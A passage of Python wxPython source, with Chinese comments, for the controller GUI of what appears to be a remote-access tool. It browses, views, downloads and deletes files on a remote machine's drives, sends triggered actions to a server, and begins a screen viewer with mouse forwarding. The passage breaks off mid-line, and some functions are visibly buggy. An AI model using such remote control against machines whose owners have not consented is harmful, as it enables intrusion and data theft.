ids_to_remove.append(item_id) 104 | 105 | for item_id in ids_to_remove: 106 | del self.id_dict[item_id] 107 | 108 | 109 | class FilesTreeView(wx.TreeCtrl): 110 | def __init__(self, parent): 111 | super().__init__(parent=parent, size=MAX_SIZE, style=wx.TR_DEFAULT_STYLE | wx.TR_HIDE_ROOT) 112 | 113 | self.image_list = wx.ImageList(16, 16, True) 114 | self.folder_icon = self.image_list.Add( 115 | wx.ArtProvider.GetBitmap(wx.ART_FOLDER, wx.ART_OTHER, (16, 16)) 116 | ) 117 | self.default_icon = self.image_list.Add( 118 | wx.ArtProvider.GetBitmap(wx.ART_NORMAL_FILE, wx.ART_OTHER, (16, 16)) 119 | ) 120 | self.icons = {} 121 | self.AssignImageList(self.image_list) 122 | self.Bind(wx.EVT_TREE_ITEM_EXPANDING, self.on_expend) 123 | 124 | self.api = get_api(self) 125 | self.load_over_flag = False 126 | 127 | root = self.AddRoot("命根子") 128 | self.files_data: FilesData = FilesData(DataType.FOLDER, "root", root) 129 | 130 | self.AppendItem(root, "加载中...") 131 | 132 | self.Bind(wx.EVT_TREE_ITEM_MENU, self.on_menu) 133 | 134 | def load_drive_list(self, drives: list[str]): 135 | """动态加载盘符列表""" 136 | root = self.GetRootItem() 137 | 138 | # 清除根节点下所有子项 139 | self.DeleteChildren(root) 140 | self.files_data.clear() 141 | 142 | # 添加实际盘符 143 | for drive in drives: 144 | drive_node = self.AppendItem(root, drive, image=self.folder_icon) 145 | self.AppendItem(drive_node, "加载中...") 146 | self.files_data.add(DataType.FOLDER, drive, drive_node) 147 | 148 | # 展开根节点 149 | self.Expand(root) 150 | 151 | def load_packet(self, packet: Packet): 152 | if packet.get("type") == "drive_list": # 处理盘符列表 153 | self.load_drive_list(packet["drives"]) 154 | return 155 | root_path = packet["path"] 156 | dirs = packet["dirs"] 157 | files = packet["files"] 158 | 159 | # 统一处理路径格式 160 | root_path = root_path.replace("\\", "/").replace("//", "/") 161 | # 提取盘符作为根节点 162 | drive, path_part = self.parse_drive_and_path(root_path) 163 | 164 | # 获取盘符节点 165 | drive_node = self.files_data.name_dict.get(drive) 166 | if not drive_node: 167 | return 168 | 169 | # 拆分路径部分 170 | paths = path_part.split("/") if path_part else [] 171 | paths = [p for p in paths if p] # 移除空路径段 172 | 173 | # 从盘符节点开始查找 174 | current_node = drive_node[2] # FilesData对象 175 | for name in paths: 176 | if name not in current_node.name_dict: 177 | # 路径不存在,创建中间节点 178 | parent_id = current_node.item_id 179 | new_item = self.AppendItem(parent_id, name, image=self.folder_icon) 180 | self.AppendItem(new_item, "加载中...") 181 | current_node.add(DataType.FOLDER, name, new_item) 182 | current_node = current_node.name_dict[name][2] 183 | 184 | # 现在current_node是目标节点 185 | root_id = current_node.item_id 186 | 187 | # 清除现有文件项(保留目录项) 188 | current_node.clear_files() 189 | 190 | # 删除现有文件子项 191 | children = [] 192 | cookie = wx.TreeItemId() 193 | child, cookie = self.GetFirstChild(root_id) 194 | while child.IsOk(): 195 | children.append(child) 196 | child, cookie = self.GetNextChild(root_id, cookie) 197 | 198 | for child in children: 199 | if not self.ItemHasChildren(child): # 只删除文件项 200 | self.Delete(child) 201 | 202 | # 添加新目录 203 | for dir_name in dirs: 204 | item_id = self.AppendItem(root_id, dir_name, image=self.folder_icon) 205 | self.AppendItem(item_id, "加载中...") 206 | current_node.add(DataType.FOLDER, dir_name, item_id) 207 | 208 | # 添加新文件 209 | for file_name in files: 210 | assert isinstance(file_name, str) 211 | icon = self.default_icon 212 | if "." in file_name: 213 | extension = file_name.split(".")[-1] 214 | if extension not in self.icons: 215 | self.icons[extension] = self.image_list.Add(extension_to_bitmap("." + extension)) 216 | icon = self.icons[extension] 217 | item_id = self.AppendItem(root_id, file_name, image=icon) 218 | current_node.add(DataType.FILE, file_name, item_id) 219 | 220 | if len(dirs + files) != 0 and root_id != self.GetRootItem(): 221 | self.load_over_flag = True 222 | self.Expand(root_id) 223 | 224 | def parse_drive_and_path(self, path: str) -> tuple[str, str]: 225 | """提取盘符和剩余路径""" 226 | if ":/" in path: 227 | drive, path = path.split(":/", 1) 228 | return drive + ":", path.lstrip("/") 229 | return "", path.lstrip("/") 230 | 231 | 232 | def name_tree_get(self, names: list[str]): 233 | ret = self.files_data 234 | for name in names: 235 | if not name: # 跳过空路径段 236 | continue 237 | if name not in ret.name_dict: 238 | # 如果路径不存在,创建一个新的FilesData对象 239 | new_item_id = self.AppendItem(ret.item_id, name, image=self.folder_icon) 240 | new_data = FilesData(DataType.FOLDER, name, new_item_id) 241 | ret.add(DataType.FOLDER, name, new_item_id) 242 | ret = new_data 243 | else: 244 | ret = ret.name_dict[name][2] 245 | if ret is None: # 处理空节点 246 | return FilesData(DataType.FOLDER, "", None) 247 | return ret 248 | 249 | def on_expend(self, event: wx.TreeEvent): 250 | if self.load_over_flag: 251 | self.load_over_flag = False 252 | return 253 | item = event.GetItem() 254 | text: wx.TreeItemId = self.GetLastChild(item) 255 | if text.IsOk() and self.GetItemText(text) == "加载中...": 256 | self.request_list_dir(item) 257 | event.Veto() 258 | 259 | def get_item_path(self, item: wx.TreeItemId): 260 | path_parts = [] 261 | current = item 262 | 263 | # 向上遍历直到根节点 264 | while current and current != self.GetRootItem(): 265 | name = self.GetItemText(current) 266 | path_parts.insert(0, name) 267 | current = self.GetItemParent(current) 268 | 269 | # 合并路径部分 270 | if not path_parts: 271 | return "" 272 | 273 | # 确保盘符格式正确 274 | if len(path_parts) > 0 and path_parts[0].endswith(':'): 275 | # 盘符后添加斜杠 276 | path = path_parts[0] + "\\" + "\\".join(path_parts[1:]) 277 | else: 278 | path = "\\".join(path_parts) 279 | 280 | # 替换可能的双斜杠 281 | path = path.replace("\\\\", "\\") 282 | return path 283 | 284 | 285 | 286 | def request_list_dir(self, item: wx.TreeItemId): 287 | self._request_list_dir(self.get_item_path(item)) 288 | 289 | def _request_list_dir(self, path: str): 290 | packet = {"type": REQ_LIST_DIR, "path": path} 291 | self.load_over_flag = False 292 | self.api.send_packet(packet) 293 | 294 | def on_menu(self, event: wx.TreeEvent): 295 | item_id: wx.TreeItemId = event.GetItem() 296 | if not item_id.IsOk(): 297 | return 298 | path = normpath(self.get_item_path(item_id)) 299 | paths = path.split("\\") 300 | paths.pop(-1) if paths[-1] == "" else None 301 | files_data: FilesData = self.files_data.name_tree_get(paths) 302 | menu = wx.Menu() 303 | if files_data.type == DataType.FILE: 304 | menu.Append(1, "查看内容") 305 | menu.Append(2, "下载") 306 | menu.Append(3, "删除") 307 | menu.Append(4, "属性") 308 | menu.Bind(wx.EVT_MENU, lambda _: self.view_file(path), id=1) 309 | menu.Bind(wx.EVT_MENU, lambda _: self.download_file(path), id=2) # 下载功能 310 | menu.Bind(wx.EVT_MENU, lambda _: self.delete_path(path, item_id), id=3) 311 | menu.Bind(wx.EVT_MENU, lambda _: self.get_file_attributes(path), id=4) # 属性功能 312 | elif files_data.type == DataType.FOLDER: 313 | menu.Append(1, "刷新此文件夹") 314 | menu.Append(2, "属性") 315 | menu.Bind(wx.EVT_MENU, lambda _: self.refresh_dir(path, item_id), id=1) 316 | menu.Bind(wx.EVT_MENU, lambda _: self.get_file_attributes(path), id=2) # 属性功能 317 | self.PopupMenu(menu) 318 | 319 | def download_file(self, path: str): 320 | """请求下载文件""" 321 | packet = {"type": FILE_DOWNLOAD, "path": path} 322 | self.api.send_packet(packet) 323 | 324 | def get_file_attributes(self, path: str): 325 | """请求文件属性""" 326 | packet = {"type": FILE_ATTRIBUTES, "path": path} 327 | self.api.send_packet(packet) 328 | 329 | def view_file(self, path: str): 330 | # 检查路径是否合法 331 | if ".." in path or not os.path.isfile(path): 332 | wx.MessageBox("无效文件路径", "错误", wx.OK | wx.ICON_ERROR) 333 | return 334 | 335 | path = normpath(path) 336 | packet = {"type": FILE_VIEW, "path": path, "data_max_size": 1024 * 1024 * 1024} 337 | self.api.send_packet(packet) 338 | 339 | def refresh_dir(self, path: str, item_id: wx.TreeItemId): 340 | path = normpath(path) 341 | self.Collapse(item_id) 342 | self._request_list_dir(path) 343 | 344 | def delete_path(self, path: str, item_id: wx.TreeItemId): 345 | packet = {"type": FILE_DELETE, "path": path} 346 | self.api.send_packet(packet) 347 | self.Delete(item_id) 348 | 349 | 350 | class FileTransport(Panel): 351 | def __init__(self, parent): 352 | super().__init__(parent=parent, size=(400, 668)) 353 | self.sizer = wx.BoxSizer(wx.VERTICAL) 354 | self.main_bar = wx.Gauge(self, range=100) 355 | 356 | 357 | class FilesTab(Panel): 358 | def __init__(self, parent): 359 | super().__init__(parent=parent, size=(1210, 668)) 360 | self.sizer = wx.BoxSizer(wx.HORIZONTAL) 361 | self.viewer = FilesTreeView(self) 362 | self.files_transport_panel = FileTransport(self) 363 | self.sizer.Add(self.viewer, flag=wx.ALIGN_TOP | wx.EXPAND) 364 | self.sizer.Add(self.files_transport_panel, flag=wx.ALIGN_TOP | wx.EXPAND) 365 | self.sizer.Layout() 366 | self.SetSizer(self.sizer) 367 | 368 | 369 | class FileViewer(wx.Frame): 370 | def __init__(self, parent: wx.Frame, path: str, data: bytes): 371 | wx.Frame.__init__(self, parent=parent, title=path, size=(800, 600)) 372 | self.path = normpath(path) 373 | self.data = data 374 | 375 | self.text = wx.TextCtrl(self, style=wx.TE_MULTILINE | wx.TE_READONLY) 376 | encodes = [ 377 | "utf-8", 378 | "gbk", 379 | "utf-16", 380 | "gb2312", 381 | "gb18030", 382 | "big5", 383 | "shift_jis", 384 | "euc_jp", 385 | "cp932", 386 | ] 387 | for encode in encodes: 388 | try: 389 | self.text.AppendText(data.decode(encode)) 390 | break 391 | except UnicodeDecodeError: 392 | pass 393 | else: 394 | self.text.AppendText(data.decode("utf-8", "ignore")) 395 | 396 | self.ctrl_down = False 397 | self.text.Bind(wx.EVT_MOUSEWHEEL, self.on_scroll) 398 | self.text.Bind(wx.EVT_KEY_DOWN, self.on_key_down) 399 | self.text.Bind(wx.EVT_KEY_UP, self.on_key_up) 400 | 401 | menu_bar = wx.MenuBar() 402 | menu = wx.Menu() 403 | menu_bar.Append(menu, "另存为") 404 | menu.Bind(wx.EVT_MENU_OPEN, self.save_as) 405 | self.SetMenuBar(menu_bar) 406 | 407 | self.Show() 408 | 409 | def save_as(self, event: wx.MenuEvent): 410 | try: 411 | extension = self.path.split(".")[-1] 412 | except IndexError: 413 | extension = "*" 414 | file_name = self.path.split("\\")[-1] 415 | with wx.FileDialog( 416 | self, 417 | "另存为", 418 | wildcard="*." + extension, 419 | defaultFile=file_name, 420 | style=wx.FD_SAVE | wx.FD_OVERWRITE_PROMPT, 421 | ) as file_dialog: 422 | if file_dialog.ShowModal() == wx.ID_CANCEL: 423 | return 424 | path = file_dialog.GetPath() 425 | with open(path, "wb") as f: 426 | f.write(self.data) 427 | event.Skip() 428 | 429 | def on_key_down(self, event: wx.KeyEvent): 430 | if event.GetKeyCode() == wx.WXK_CONTROL: 431 | self.ctrl_down = True 432 | event.Skip() 433 | 434 | def on_key_up(self, event: wx.KeyEvent): 435 | if event.GetKeyCode() == wx.WXK_CONTROL: 436 | self.ctrl_down = False 437 | event.Skip() 438 | 439 | def on_scroll(self, event: wx.MouseEvent): 440 | if self.ctrl_down: 441 | if event.GetWheelRotation() > 0: 442 | self.font_size += 1 443 | else: 444 | self.font_size -= 1 445 | self.text.SetFont(ft(self.font_size)) 446 | event.Skip() -------------------------------------------------------------------------------- /gui/action.py: -------------------------------------------------------------------------------- 1 | import wx 2 | from wx import grid 3 | from gui.widgets import * 4 | from libs.action import * 5 | from libs.api import get_api, get_window_name 6 | from libs.packets import Any 7 | 8 | 9 | class ActionEditDialog(wx.Frame): 10 | """动作编辑对话框,用于创建或编辑动作""" 11 | def __init__( 12 | self, 13 | parent: wx.Window, # 父窗口 14 | title: str, # 对话框标题 15 | callback: Callable[[TheAction], None], # 回调函数,用于处理完成的动作 16 | action_init: TheAction = None, # 初始化的动作(编辑时传入) 17 | ): 18 | super().__init__(get_window_name(parent, "Client"), title=title, size=(420, 390)) 19 | self.callback = callback # 保存回调函数 20 | 21 | # 界面布局 22 | self.SetFont(ft(12)) # 设置字体 23 | self.sizer = wx.BoxSizer(wx.VERTICAL) # 主布局管理器(垂直) 24 | self.name_inputter = LabelEntry(self, "名称: ") # 名称输入框 25 | self.prq_sizer = wx.BoxSizer(wx.HORIZONTAL) # 条件布局管理器(水平) 26 | self.start_prqs = StartPrqList(self) # 开始条件列表 27 | self.end_prqs = EndPrqList(self) # 结束条件列表 28 | self.actions_chooser = LabelCombobox(self, "动作: ") # 动作选择下拉框 29 | self.bottom_sizer = wx.BoxSizer(wx.HORIZONTAL) # 底部按钮布局 30 | self.ok_btn = wx.Button(self, label="确定") # 确定按钮 31 | self.cancel_btn = wx.Button(self, label="取消") # 取消按钮 32 | 33 | # 初始化动作选择下拉框 34 | for _, action_type in actions_map.items(): 35 | self.actions_chooser.add_choice(action_type.ch_name(), action_type) 36 | 37 | # 绑定事件 38 | self.ok_btn.Bind(wx.EVT_BUTTON, self.on_ok) 39 | self.cancel_btn.Bind(wx.EVT_BUTTON, self.on_cancel) 40 | 41 | # 设置字体 42 | self.name_inputter.label_ctl.SetFont(ft(13)) 43 | self.actions_chooser.label_ctl.SetFont(ft(13)) 44 | 45 | # 添加控件到布局 46 | self.sizer.Add(self.name_inputter, flag=wx.EXPAND, proportion=0) 47 | self.sizer.AddSpacer(6) # 添加间距 48 | self.prq_sizer.Add(self.start_prqs, flag=wx.EXPAND, proportion=50) 49 | self.prq_sizer.AddSpacer(6) 50 | self.prq_sizer.Add(self.end_prqs, flag=wx.EXPAND, proportion=50) 51 | self.sizer.Add(self.prq_sizer, flag=wx.EXPAND, proportion=1) 52 | self.sizer.AddSpacer(6) 53 | self.sizer.Add(self.actions_chooser, flag=wx.EXPAND, proportion=0) 54 | self.sizer.AddSpacer(12) 55 | self.bottom_sizer.Add(self.ok_btn, proportion=0) 56 | self.bottom_sizer.AddSpacer(6) 57 | self.bottom_sizer.Add(self.cancel_btn, proportion=0) 58 | self.sizer.Add(self.bottom_sizer, flag=wx.ALIGN_RIGHT | wx.ALL, border=6) 59 | 60 | # 设置布局和图标 61 | self.SetSizer(self.sizer) 62 | self.SetIcon(wx.Icon(abspath(r"assets\action_editor.ico"))) 63 | self.Show() 64 | 65 | def on_ok(self, _): 66 | """确定按钮点击事件处理""" 67 | msg = self.callback_action() 68 | if msg: # 如果有错误消息 69 | MessageBox(self.Handle, msg, "错误", wx.OK | wx.ICON_ERROR) 70 | else: 71 | self.Close() 72 | 73 | def callback_action(self) -> None | str: 74 | """处理动作回调,返回错误消息或None""" 75 | name = self.name_inputter.text.GetValue() # 获取动作名称 76 | 77 | # 获取开始和结束条件 78 | start_prqs = self.start_prqs.get_items() 79 | end_prqs = self.end_prqs.get_items() 80 | if start_prqs == []: # 检查开始条件 81 | return "请选择至少一个开始条件" 82 | if end_prqs == []: # 如果没有结束条件,添加默认条件 83 | end_prqs.append(NoneEndPrq()) 84 | 85 | # 获取动作类型 86 | action_type: AnAction = self.actions_chooser.get_data() 87 | if action_type is None: 88 | return "请选择要执行的操作" 89 | 90 | # 如果动作需要参数,弹出参数输入对话框 91 | if action_type.params: 92 | DataInputDialog( 93 | self, 94 | "输入动作参数", 95 | action_type.params, 96 | lambda datas: self.action_params_cbk(datas, (name, start_prqs, end_prqs, action_type)), 97 | ) 98 | else: 99 | self.action_params_cbk({}, (name, start_prqs, end_prqs, action_type)) 100 | return None 101 | 102 | def action_params_cbk( 103 | self, datas: dict[str, Any], flash: tuple[str, list[StartPrq], list[EndPrq], AnAction] 104 | ): 105 | """动作参数回调函数""" 106 | action: AnAction = flash[3](**datas) # 创建动作实例 107 | self.callback(TheAction(flash[0], 1, [action], flash[1], flash[2])) # 调用回调 108 | 109 | def on_cancel(self, _): 110 | """取消按钮点击事件处理""" 111 | self.Close() 112 | 113 | 114 | class DataInputter(wx.Panel): 115 | """数据输入控件,用于输入不同类型的参数""" 116 | def __init__(self, parent, param: ActionParam) -> None: 117 | super().__init__(parent) 118 | self.SetWindowStyle(wx.MINIMIZE_BOX) 119 | self.param = param # 保存参数定义 120 | self.sizer = wx.BoxSizer(wx.HORIZONTAL) # 水平布局 121 | self.label = wx.StaticText(self, label=param.label) # 参数标签 122 | self.label.SetFont(ft(13)) 123 | self.sizer.Add(self.label, proportion=0) 124 | self.sizer.AddSpacer(6) 125 | self.normal_color = None # 保存正常背景色 126 | 127 | # 根据参数类型创建不同的输入控件 128 | if param.type in [ParamType.FLOAT, ParamType.INT, ParamType.STRING]: 129 | self.inputter = wx.TextCtrl(self) # 文本输入框 130 | self.normal_color = self.inputter.GetBackgroundColour() 131 | self.inputter.SetValue(str(param.default)) # 设置默认值 132 | elif param.type == ParamType.BOOL: 133 | self.inputter = wx.CheckBox(self) # 复选框 134 | self.inputter.SetValue(param.default) 135 | elif param.type == ParamType.CHOICE: 136 | assert isinstance(param, ChoiceParam) 137 | self.inputter = wx.ComboBox(self, style=wx.CB_READONLY) # 下拉框 138 | self.inputter.SetItems([name for name, _ in param.choices.items()]) 139 | self.inputter.SetValue(param.default) 140 | self.inputter.SetFont(ft(13)) 141 | 142 | self.sizer.Add(self.inputter, flag=wx.EXPAND, proportion=1) 143 | self.SetSizer(self.sizer) 144 | 145 | def valid(self): 146 | """验证输入是否有效""" 147 | return self.param.valid(self.inputter.GetValue()) 148 | 149 | def get_data(self): 150 | """获取输入的数据""" 151 | if self.valid() is None: # 如果验证通过 152 | return self.param.parse_string(self.inputter.GetValue()) # 解析输入值 153 | else: 154 | return None 155 | 156 | 157 | class DataInputDialog(wx.Dialog): 158 | """数据输入对话框,用于输入多个参数""" 159 | def __init__( 160 | self, 161 | parent: wx.Window, 162 | title: str, 163 | params: dict[str, ActionParam], # 参数字典,key为参数名,value为参数定义 164 | callback: Callable[[dict[str, Any]], None], # 回调函数 165 | ): 166 | super().__init__(get_window(parent), title=title, size=(420, 390)) 167 | self.SetFont(font) 168 | self.callback = callback # 保存回调函数 169 | self.params = params # 保存参数定义 170 | 171 | # 界面布局 172 | sizer = wx.BoxSizer(wx.VERTICAL) 173 | self.inputter_container = wx.ScrolledWindow(self) # 可滚动的输入控件容器 174 | self.ok_btn = wx.Button(self, label="确定") 175 | self.cancel_btn = wx.Button(self, label="取消") 176 | self.ok_btn.Bind(wx.EVT_BUTTON, self.on_ok) 177 | self.cancel_btn.Bind(wx.EVT_BUTTON, lambda _: self.Close()) 178 | bottom_bar = wx.BoxSizer(wx.HORIZONTAL) 179 | 180 | # 创建输入控件 181 | container_sizer = wx.BoxSizer(wx.VERTICAL) 182 | self.inputters: dict[str, DataInputter] = {} # 保存所有输入控件 183 | for name, param in params.items(): 184 | inputter = DataInputter(self.inputter_container, param) 185 | self.inputters[name] = inputter 186 | container_sizer.Add(inputter, flag=wx.EXPAND, proportion=0) 187 | container_sizer.AddSpacer(6) 188 | self.inputter_container.SetSizer(container_sizer) 189 | 190 | # 添加控件到布局 191 | sizer.Add(self.inputter_container, flag=wx.EXPAND, proportion=1) 192 | sizer.AddSpacer(6) 193 | bottom_bar.Add(self.ok_btn, proportion=0) 194 | bottom_bar.AddSpacer(6) 195 | bottom_bar.Add(self.cancel_btn, proportion=0) 196 | sizer.Add(bottom_bar, flag=wx.ALIGN_RIGHT | wx.ALL, border=6) 197 | self.SetSizer(sizer) 198 | self.ShowModal() # 模态显示对话框 199 | 200 | def on_ok(self, _): 201 | """确定按钮点击事件处理""" 202 | data = {} 203 | for name, inputter in self.inputters.items(): 204 | data[name] = inputter.get_data() # 收集所有输入数据 205 | 206 | if None in data.values(): # 如果有无效输入 207 | print(data) 208 | wx.MessageBox("请检查输入", "错误", wx.OK | wx.ICON_ERROR) 209 | else: 210 | self.callback(data) # 调用回调函数 211 | self.Close() 212 | 213 | 214 | class ActionGrid(grid.Grid): 215 | """动作表格,显示所有动作""" 216 | def __init__(self, parent: "ActionEditor"): 217 | super().__init__(parent, size=MAX_SIZE) 218 | self.action_editor: ActionEditor = parent # 保存父窗口引用 219 | self.CreateGrid(1, 4) # 创建4列的表格 220 | 221 | # 表格列定义 222 | gui_data = [ 223 | ("名称", 100), # 列名和宽度 224 | ("触发条件", 300), 225 | ("执行操作", 180), 226 | ("停止条件", 300), 227 | ] 228 | 229 | # 初始化表格列 230 | for i in range(len(gui_data)): 231 | name, width = gui_data[i] 232 | self.SetColLabelValue(i, name) # 设置列名 233 | self.SetColSize(i, width) # 设置列宽 234 | 235 | self.datas: list[TheAction] = [] # 保存动作数据 236 | self.first_add = True # 是否是第一次添加动作 237 | self.api = get_api(self) # 获取API 238 | self.SetDefaultCellAlignment(wx.ALIGN_CENTER, wx.ALIGN_CENTER) # 设置单元格对齐方式 239 | 240 | # 表格样式设置 241 | self.SetRowLabelSize(1) # 隐藏行号 242 | self.EnableEditing(False) # 禁用编辑 243 | self.SetLabelFont(font) # 设置标签字体 244 | self.SetDefaultCellFont(font) # 设置单元格字体 245 | self.Bind(grid.EVT_GRID_CELL_RIGHT_CLICK, self.on_row_menu) # 绑定右键菜单事件 246 | 247 | def on_row_menu(self, event: grid.GridEvent): 248 | """行右键菜单事件处理""" 249 | row = event.GetRow() 250 | menu = wx.Menu() 251 | menu.Append(1, "新建") 252 | menu.Append(2, "编辑") 253 | menu.Bind(wx.EVT_MENU, self.action_editor.on_add_action, id=1) 254 | menu.Bind(wx.EVT_MENU, lambda: self.on_edit(row), id=2) 255 | self.PopupMenu(menu) 256 | 257 | def on_empty_menu(self, event: wx.MenuEvent): 258 | """空白处右键菜单事件处理""" 259 | menu = wx.Menu() 260 | menu.Append(1, "新建") 261 | menu.Bind(wx.EVT_MENU, self.action_editor.on_add_action, id=1) 262 | self.PopupMenu(menu) 263 | 264 | def on_edit(self, row: int): 265 | """编辑动作""" 266 | action = self.datas[row] 267 | ActionEditDialog(self, action) 268 | 269 | def add_action(self, the_action: TheAction) -> TheAction: 270 | """添加动作到表格""" 271 | if self.first_add: # 如果是第一次添加 272 | self.first_add = False 273 | row = 0 274 | else: 275 | self.AppendRows(1) # 添加新行 276 | row = self.GetNumberRows() - 1 277 | 278 | # 设置单元格值 279 | self.SetCellValue(row, 0, the_action.name) 280 | self.SetCellValue(row, 1, " ".join([start.name() for start in the_action.start_prqs])) 281 | self.SetCellValue(row, 2, " ".join([action.name() for action in the_action.actions])) 282 | self.SetCellValue(row, 3, " ".join([end.name() for end in the_action.end_prqs])) 283 | self.datas.append(the_action) # 保存动作数据 284 | return the_action 285 | 286 | 287 | class StartPrqList(AddableList): 288 | """开始条件列表""" 289 | def __init__(self, parent): 290 | data = [(prq.ch_name(), prq) for prq in start_prqs_map.values()] # 获取所有开始条件 291 | super().__init__(parent, "开始条件", data, "添加开始条件") 292 | 293 | def add_item(self, name: str, _type: StartPrq, index: int = -1): 294 | """添加条件项(异步)""" 295 | wx.CallAfter(self.request_data, _type) 296 | 297 | def request_data(self, _type: StartPrq): 298 | """请求条件参数""" 299 | if _type.params: # 如果条件需要参数 300 | DataInputDialog(self, "输入条件参数", _type.params, lambda ps: self.add_prq(ps, _type)) 301 | else: 302 | self.add_prq({}, _type) 303 | 304 | def add_prq(self, params: dict[str, Any], _type: StartPrq): 305 | """添加带参数的条件""" 306 | prq: StartPrq = _type(**params) # 创建条件实例 307 | super().add_item(prq.name(), prq) # 添加到列表 308 | 309 | 310 | class EndPrqList(AddableList): 311 | """结束条件列表""" 312 | def __init__(self, parent): 313 | data = [(prq.ch_name(), prq) for prq in end_prqs_map.values()] # 获取所有结束条件 314 | super().__init__(parent, "结束条件", data, "添加结束条件") 315 | 316 | def add_item(self, name: str, _type: EndPrq, index: int = -1): 317 | """添加条件项(异步)""" 318 | wx.CallAfter(self.request_data, _type) 319 | 320 | def request_data(self, _type: EndPrq): 321 | """请求条件参数""" 322 | if _type.params: # 如果条件需要参数 323 | DataInputDialog(self, "输入条件参数", _type.params, lambda ps: self.add_prq(ps, _type)) 324 | else: 325 | self.add_prq({}, _type) 326 | 327 | def add_prq(self, params: dict[str, Any], _type: EndPrq): 328 | """添加带参数的条件""" 329 | prq: EndPrq = _type(**params) # 创建条件实例 330 | super().add_item(prq.name(), prq) # 添加到列表 331 | 332 | 333 | class ActionEditor(Panel): 334 | """动作编辑器主面板""" 335 | def __init__(self, parent: wx.Window): 336 | super().__init__(parent, size=MAX_SIZE) 337 | self.sizer = wx.BoxSizer(wx.VERTICAL) # 主布局 338 | self.grid = ActionGrid(self) # 动作表格 339 | self.api = get_api(self) # 获取API 340 | 341 | # 按钮栏 342 | self.bar_sizer = wx.BoxSizer(wx.HORIZONTAL) 343 | self.add_btn = wx.Button(self, label="添加操作") 344 | self.remove_btn = wx.Button(self, label="删除操作") 345 | self.add_btn.Bind(wx.EVT_BUTTON, self.on_add_action) 346 | self.grid.SetWindowStyle(wx.SIMPLE_BORDER) 347 | self.bar_sizer.Add(self.add_btn) 348 | self.bar_sizer.AddSpacer(6) 349 | self.bar_sizer.Add(self.remove_btn) 350 | 351 | # 添加控件到布局 352 | self.sizer.Add( 353 | self.bar_sizer, 354 | flag=wx.EXPAND | wx.TOP | wx.LEFT | wx.RIGHT, 355 | border=6, 356 | ) 357 | self.sizer.Add(self.grid, flag=wx.EXPAND | wx.ALL, border=6) 358 | self.SetSizer(self.sizer) 359 | 360 | def on_add_action(self, _=None): 361 | """添加动作按钮点击事件""" 362 | ActionEditDialog(self, "增加操作", self.add_action, None) 363 | 364 | def add_action(self, the_action: TheAction): 365 | """添加动作到表格并发送到服务器""" 366 | self.grid.add_action(the_action) # 添加到表格 367 | packet = {"type": ACTION_ADD, **the_action.build_packet()} # 构建数据包 368 | self.api.send_packet(packet) # 发送到服务器 369 | 370 | 371 | class ActionList(Panel): 372 | """动作列表面板""" 373 | def __init__(self, parent): 374 | super().__init__(parent=parent, size=(250, 703)) 375 | self.sizer = wx.BoxSizer(wx.VERTICAL) # 主布局管理器(垂直) 376 | self.top_sizer = wx.BoxSizer(wx.HORIZONTAL) # 顶部布局管理器(水平) 377 | self.sizer = wx.BoxSizer(wx.VERTICAL) # 主布局管理器(垂直) 378 | self.top_sizer = wx.BoxSizer(wx.HORIZONTAL) # 顶部标题栏布局(水平) 379 | 380 | # 创建控件 381 | self.text = wx.StaticText(self, label="操作列表", style=wx.ALIGN_LEFT) # 标题文本 382 | bmp = wx.Bitmap() # 添加按钮图标 383 | bmp.LoadFile(abspath(r"assets\add.png"), wx.BITMAP_TYPE_PNG) 384 | self.add_btn = wx.BitmapButton(self, bitmap=bmp) # 添加按钮(带图标) 385 | self.listbox = wx.ListBox(self, style=wx.LB_SINGLE) # 动作列表框(单选) 386 | self.text.SetFont(ft(13)) # 设置标题字体 387 | 388 | # 添加控件到顶部布局 389 | self.top_sizer.Add(self.text, flag=wx.EXPAND | wx.TOP | wx.LEFT, proportion=1, border=4) 390 | self.top_sizer.Add(self.add_btn, flag=wx.TOP | wx.RIGHT, proportion=0, border=4) 391 | 392 | # 添加控件到主布局 393 | self.sizer.Add( 394 | self.top_sizer, 395 | flag=wx.ALIGN_TOP | wx.EXPAND | wx.LEFT | wx.RIGHT, 396 | proportion=0, 397 | border=3, 398 | ) 399 | self.sizer.Add( 400 | self.listbox, 401 | flag=wx.ALIGN_TOP | wx.EXPAND | wx.ALL, 402 | proportion=1, 403 | border=5, 404 | ) 405 | self.SetSizer(self.sizer) # 设置主布局 406 | self.SetWindowStyle(wx.SIMPLE_BORDER) # 设置简单边框样式 407 | 408 | # 初始化列表框内容 409 | for action in Actions.action_list: 410 | self.listbox.Append(action.label) # 添加动作到列表框 411 | 412 | 413 | class ActionTab(Panel): 414 | """动作标签页,包含动作编辑器和动作列表""" 415 | def __init__(self, parent): 416 | super().__init__(parent=parent, size=(1210, 668)) 417 | self.sizer = wx.BoxSizer(wx.HORIZONTAL) # 主布局管理器(水平) 418 | 419 | # 创建子控件 420 | self.editor = ActionEditor(self) # 动作编辑器 421 | self.action_list = ActionList(self) # 动作列表 422 | 423 | # 添加控件到布局 424 | self.sizer.Add(self.editor, flag=wx.EXPAND, proportion=1) # 编辑器占主要空间 425 | self.sizer.Add(self.action_list, flag=wx.EXPAND | wx.ALL, proportion=0, border=5) 426 | self.SetSizer(self.sizer) # 设置主布局 427 | -------------------------------------------------------------------------------- /gui/screen.py: -------------------------------------------------------------------------------- 1 | import wx 2 | from gui.widgets import * 3 | from libs.api import get_api 4 | from wx._core import wxAssertionError 5 | 6 | 7 | class ScreenShower(Panel): 8 | def __init__(self, parent, size): 9 | super().__init__(parent=parent, size=size) 10 | self.menu: wx.Menu = ... 11 | self.screen_raw_size = (1920, 1080) 12 | self.last_size = None 13 | self.bmp = None 14 | self.last_size_send = perf_counter() 15 | self.last_move_send = perf_counter() 16 | self.api = get_api(self) 17 | self.button_map = { 18 | wx.MOUSE_BTN_LEFT: "left", 19 | wx.MOUSE_BTN_RIGHT: "right", 20 | wx.MOUSE_BTN_MIDDLE: "middle", 21 | } 22 | 23 | self.Bind(wx.EVT_SIZE, self.on_size) 24 | self.Bind(wx.EVT_PAINT, self.OnPaint) 25 | self.Bind(wx.EVT_MOUSE_EVENTS, self.on_mouse) 26 | self.Bind(wx.EVT_RIGHT_DOWN, self.on_menu) 27 | 28 | def set_bitmap(self, bitmap: wx.Bitmap): 29 | self.bmp = bitmap 30 | self.OnPaint(None) 31 | 32 | def OnPaint(self, event: wx.PaintEvent = None): 33 | if self.bmp: 34 | dc = wx.ClientDC(self) 35 | dc.DrawBitmap(self.bmp, 0, 0) 36 | self.Refresh(False, self.GetRect()) 37 | if event: 38 | event.Skip() 39 | 40 | def on_size(self, event: wx.Event = None): 41 | if self.api.pre_scale and self.api.sending_screen: 42 | if perf_counter() - 